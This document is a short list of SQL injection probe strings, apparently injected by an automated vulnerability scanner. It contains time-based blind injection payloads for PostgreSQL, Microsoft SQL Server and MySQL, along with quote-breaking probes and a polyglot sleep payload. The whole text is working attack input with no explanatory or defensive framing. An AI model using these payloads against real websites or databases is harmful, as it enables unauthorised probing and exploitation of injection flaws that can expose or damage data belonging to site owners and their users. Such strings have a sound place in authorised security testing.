555-1)) OR 598=(SELECT 598 FROM PG_SLEEP(15))--

555-1) OR 711=(SELECT 711 FROM PG_SLEEP(15))--

555-1 OR 843=(SELECT 843 FROM PG_SLEEP(15))--

555LaBYNKNZ′

555-1 waitfor delay ′0:0:15′ --

555-1)

555-1

(select(0)from(select(sleep(15)))v)/*′+(sele ct(0)from(select(sleep(15)))v)+′"+(selec t(0)from(select(sleep(15)))v)+"*/